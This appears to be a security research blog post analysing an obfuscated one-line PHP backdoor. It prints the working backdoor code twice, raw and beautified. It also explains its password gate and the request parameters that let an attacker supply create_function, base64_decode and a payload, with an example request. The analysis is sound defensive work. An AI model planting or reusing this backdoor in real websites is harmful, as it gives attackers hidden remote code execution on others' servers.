Obfuscated PHP Backdoor

This PHP backdoor uses an omission obfuscation technique where it purposely omits the create_function from its injected code, requiring the attacker to provide it in their HTTP request to the infected file. This is important because create_function is the type of function that will get flagged by scanners.

I have explained in past research posts how small one line PHP backdoors use obfuscation and strings of code in HTTP requests to pass attacker’s commands to backdoors.

if(md5(@$_REQUEST['_p'].'9doijoFp6B2svk2XAhpUl')=='9518e40685a1e104da755c294e656731'){$filter1=$_REQUEST['_f1'];$filter2=$_REQUEST['_f2'];$res=$filter1('',$filter2($_REQUEST['_i']));$res();}

This PHP code snippet displays a long string of malicious code, with the entire contents bunched into a single line. This is a common tactic used by attackers, who leverage the fact that not all text editors wrap text by default. A quick glance by a user might only show a partial string, with the majority of the malicious contents concealed using whitespace to push the malicious code from view unless the user scrolls horizontally in their text editor.

Empty white space hiding malware injection when viewed without any text wrapping:

White Space Hiding

Once the PHP is beautified, however, it becomes much easier to read.

if (md5(@$_REQUEST['_p'] . '9doijoFp6B2svk2XAhpUl') == '9518e40685a1e104da755c294e656731')
{
	$filter1 = $_REQUEST['_f1'];
	$filter2 = $_REQUEST['_f2'];
	$res = $filter1('', $filter2($_REQUEST['_i']));
	$res();
}

How-to Use It

1) Passing HTTP Parameter Checks

if (md5(@$_REQUEST['_p'] . '9doijoFp6B2svk2XAhpUl') == '9518e40685a1e104da755c294e656731')

In order to run, the attacker must provide a string of data in the _p $_REQUEST parameter, which is then concatenated with the hard coded string of text 9doijoFp6B2svk2XAhpUl and sent to the backdoor. An MD5 hash value is generated from the concatenated text string, which must match the hard coded hash value of 9518e40685a1e104da755c294e656731.

All of this means that if you don’t know the correct value to use for _p, then the backdoor won’t let you harness the rest of its functionality.

If the correct value for _p is provided, the PHP continues running through the backdoor’s code. We know from incidents that a popular method used by attackers is to use PHP’s create_function to help obfuscate their code, but create_function isn’t present in this backdoor.

2) Telling The PHP Backdoor What To Do

{
	$filter1 = $_REQUEST['_f1'];
	$filter2 = $_REQUEST['_f2'];
	$res = $filter1('', $filter2($_REQUEST['_i']));
	$res();
}

Why is create_function missing? This is because create_function is expected to be provided by the attacker through the _f1 HTTP request parameter. The payload for the created function should be sent within the same HTTP request, but assigned to the _i parameter.

To make it easier for the attacker to submit the _i payload, base64 encoded values are used, which then requires the PHP function base64_decode to decode it back to plaintext. The base64_decode is provided by the attacker in the _f2 request parameter.

The attacker’s HTTP request will end up looking similar to this example:

test.php?_p=test&_f1=create_function&_f2=base64_decode&_i=ZWNobyAndGhpcyBpcyBzdXBlciBldmlsIGNvZGUhJzs=

So in a browser it would look like this when you submit the crafted HTTP request to an infected file:

Super Evil Code

Conclusion

These type of PHP backdoors are not as easy for someone to use like the popular PHP GUI webshells C99, R57, or b347k. What it gives up in ease-of-use and functionality - it makes up for in clever obfuscation that is not as easy to detect as a backdoor eval‘ing large base64 strings.